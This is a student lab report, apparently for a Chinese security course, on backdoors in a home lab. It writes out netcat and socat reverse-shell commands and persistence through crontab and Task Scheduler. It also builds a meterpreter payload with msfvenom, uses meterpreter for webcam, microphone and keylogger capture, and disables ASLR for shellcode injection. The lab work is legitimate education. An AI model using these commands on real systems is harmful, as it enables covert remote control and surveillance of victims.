1.实验内容、基础知识及实验准备
1.1 实验内容
- 任务一:使用netcat获取主机操作Shell,cron启动。
- 任务二:使用socat获取主机操作Shell, 任务计划启动。
- 任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell。
- 任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权。
1.2 基础知识
后门概念:
在信息安全领域,后门是指绕过安全控制而获取对程序或系统访问权的方法。后门的最主要目的就是方便以后再次秘密进入或者控制系统。
常见后门:
- 编译器的后门
- 应用程序中的后门
- 操作系统的后门
- 潜伏于操作系统中或伪装为特定应用的专用后门程序
常用后门工具:
Netcat:它是一个底层工具,在网络工具中有“瑞士军刀”的美誉,进行基本的 TCP、UDP 数据收发。常被与其他工具结合使用,起到后门的作用。
Socat:它是 Linux 下的一个多功能的网络工具,名字来由是 Socket CAT,功能与 Netcat 相似,可以看做是 Netcat 的加强版。
Meterpreter:它是 Metasploit 框架中功能强大的后渗透模块。可以通过 Meterpreter 的客户端执行攻击脚本,远程调用目标主机上运行的 Meterpreter 服务端。
PowerSpoit:基于 PowerShell 的后门集成框架。需要 .Net 环境支持。
InterSect:是一个后渗透完成多种后期任务的Python程序。它能够自动收集密码文件和网络信息,并且能够识别杀毒软件和防火墙程序。
Weevely:是一款功能强大的PHP后门工具,它使用HTTP协议包头部进行指令传输。它的使用非常简单,但仅支持php语言。
1.3 实验准备
查阅IP地址:
- Windows,查阅IP命令ipconfig,IP地址:192.168.2.125
- Kali,查阅IP命令ifconfig,IP地址:192.168.145.128
关闭防火墙:
- 关闭Windows防火墙:控制面板 > 系统和安全 > 关闭Windows Defender 防火墙
- 关闭电脑中的杀毒软件
- 关闭Linux防火墙:先安装 apt-get install ufw ;再输入指令 ufw disable
Windows下载Ncat&Socat(P.S. 可以将Ncat文件夹放置在C:UsersAdministrator 目录下)
2.使用Ncat获取主机操作Shell,cron启动
2.1 Windows获得Linux Shell
- Windows打开监听,使用Ncat程序监听本机的4323端口号,ncat.exe -l -p 4323
- Kali反弹连接Windows的4323端号,指令为nc 192.168.2.125 4323 -e /bin/sh 。可以发现Kali被攻击成功,Windows获得Linux Shell。
2.2 Linux获得Win Shell
- Kali运行监听指令nc -l -p 4323,监听本机4323端口。
- Windows中反弹连接Kali的4323端口,指令为ncat.exe -e cmd.exe 192.168.145.128 4323
- 返回Linux,发现 Windows被攻击成功,Kali获得Windows Shell。
2.3 使用Ncat传输数据
- 选择从Kali向Windows传输数据。
- 首先在Windows下监听4323端口,指令nc -l 4323
- Kali反弹连接到Windows,指令nc 192.168.145.128 4323
- 连接成功,双方可以进行通信。
2.4 使用Ncat传输文件
- Windows输入指令nc -l 4323 > 4323.out ,将收到的数据保存到file1.out中。
- Kali运行指令nc 192.168.2.125 4323 < 4323.in ,将Kali端的文件传输过去。
2.5 cron启动
- Windows输入指令ncat -l -p 4323,监听4323端口。
- 第一次编辑时,会提示选择编辑器,这里选择的是3
- 这时,在Kali终端输入指令crontab -e ,并且在最后一行输入11 * * * * /bin/netcat 192.168.2.125 4323 -e /bin/she。这是一条定时任务,表示每小时的第11分钟反向连接Windows主机的4323端口
- 等到11分的时候,在Windows输入ls,可以发现Windows获得Kali Shell。
3.使用socat获取主机操作Shell, 任务计划启动
- 首先在Windows敲击Win+R,输入 compmgmt.msc,打开“计算机管理”。
- 在“任务计划程序”中点击“创建任务”。
- 在“创建任务”中点击“新建”,填写新建任务名称,我这里命名为“实验2”。
- 触发器中的开始任务选择“工作站锁定时”。
- 在操作中的“程序或脚本”选择socat.exe文件的路径,在“添加参数”一栏中填写,点击启动任务。
- 这时需要注销电脑,重新登录。
- 切换到Kali,执行指令 socat - tcp:192.168.2.125:4323,可以发现获得一个Shell。
4.使用MSF meterpreter(或其他软件)生成可执行文件,利用Ncat或socat传送到主机并运行获取主机Shell
- 首先在Kali内生成后门程序,输入指令
在(这里由于家里网络原因,IP地址暂时更换为172.20.10.3,之后的IP地址还是192.168.2.125)msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=4323 -f exe > 20174323_backdoor.exe
, - 在Windows上输入指令
ncat.exe -lv 4323 > 20174323_backdoor.exe
,使本机进入接受文件模式。 - 接着在Kali中输入
nc 192.168.2.125 4323 < 20174323_backdoor.exe
- Windows接受程序,传送后的程序。
- 在Kali上输入msfconsole,进入msfconsole控制台。
- 在msfconsole中输入以下指令:
use exploit/multi/handler启用侦听模块,设置payload。
set payload windows/x64/meterpreter/reverse_tcp使用和生成后门程序时相同的 payload。
set LHOST 192.168.145.128设置LHOST。
set LPORT 4323设置LPORT。
exploit开始监听。
- 运行Windows下的后门程序,此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的Shell。
5.使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
- Kali输入指令record_mic,进行录音,可以截获一段音频。
- webcam_snap,使用摄像头拍照(这里拍的是我的学号20174323)。
- 使用指令keyscan_start开始记录下击键的过程,使用指令keyscan_dump读取击键的记录。
- 使用screenshot,进行截屏。
6.可选加分内容:使用MSF生成ShellCode,注入到实践1中的pwn1中,获取反弹连接Shell
- 首先在实验前,要进行一系列设置,一定要设置:
execstack -s pwn1 //设置堆栈可执行
execstack -q pwn1 //查询文件的堆栈是否可执行
more /proc/sys/kernel/randomize_va_space //查看内存地址随机化的参数
echo "0" > /proc/sys/kernel/randomize_va_space //关闭地址随机化
more /proc/sys/kernel/randomize_va_space
- 按照Exp1的做法,关闭内存地址随机化,设置堆栈可执行,调试找到ShellCode地址,地址和第一次相同0xffffd6dc+4=0xffffd6e0。
- 注入代码,进行修改。
- 打开另一个终端,打开msfconsole,进行以下步骤:
use exploit/multi/handler,启用侦听模块。
set payload linux/x86/shell_reverse_tcp使用和生成后门程序时相同的 payload。
set LHOST 127.0.0.1设置LHOST(shellcode里面确定的)。
set LPORT 4444设置LPORT(shellcode里面确定的)。
show options
exploit,开始监听。
- 这时在原本的终端输入(cat input_shellcode;cat) | ./pwn4323,执行ShellCode。
7.基础问题回答及实验心得
7.1 基础问题回答
- Q:例举你能想到的一个后门进入到你系统中的可能方式?
A:下载软件时,如果没有在官网,而是根据搜索引擎的推荐项随意点开一个链接下载,往往会捆绑下载一些我们并不需要的软件。这其中难免会有木马病毒,从而对电脑安全产生威胁。
- Q:例举你知道的后门如何启动起来(Windows及Linux)的方式?
A:Windows,修改注册表、设置为开机自启动、诱导用户点击从而执行等等
Linux:可以通过crontab功能将木马设为定时启动,也可以通过对正常软件的绑定注入ShellCode达到开启后门的目的。
- Q:Meterpreter有哪些给你映像深刻的功能?
A:这次试验给我留下深刻印象的主要有获取目标主机音频、摄像头、击键记录等内容。除此之外还有植入后门实施远程控制、metsvc后渗透攻击模块等等。
- Q:如何发现自己有系统有没有被安装后门?
A:可以检测网络连接,查看是否有IP与本机建立连接;安装专门的杀毒软件,实时防护,并定期检测电脑安全情况;查看任务计划程序、开机自启动项中是否有可疑程序,等等。
7.2 实验心得
其实这次实验难度并不大,但是我在实验过程还是犯了很多低级错误,耽误了进度。并且这次实验让我认识到杀毒软件的重要性,感受到了后门程序的可怕。在之前的学习中,我了解到后门就是不经过正常认证流程而访问系统的通道。攻击者可以连接这个程序,从而远程执行各种指令,达到攻击的目的。并且通过这次实验,实践认识到后门的形成及植入过程,最后还尝试了对靶机进行控制。在实验中进行拍照,录音也十分有趣~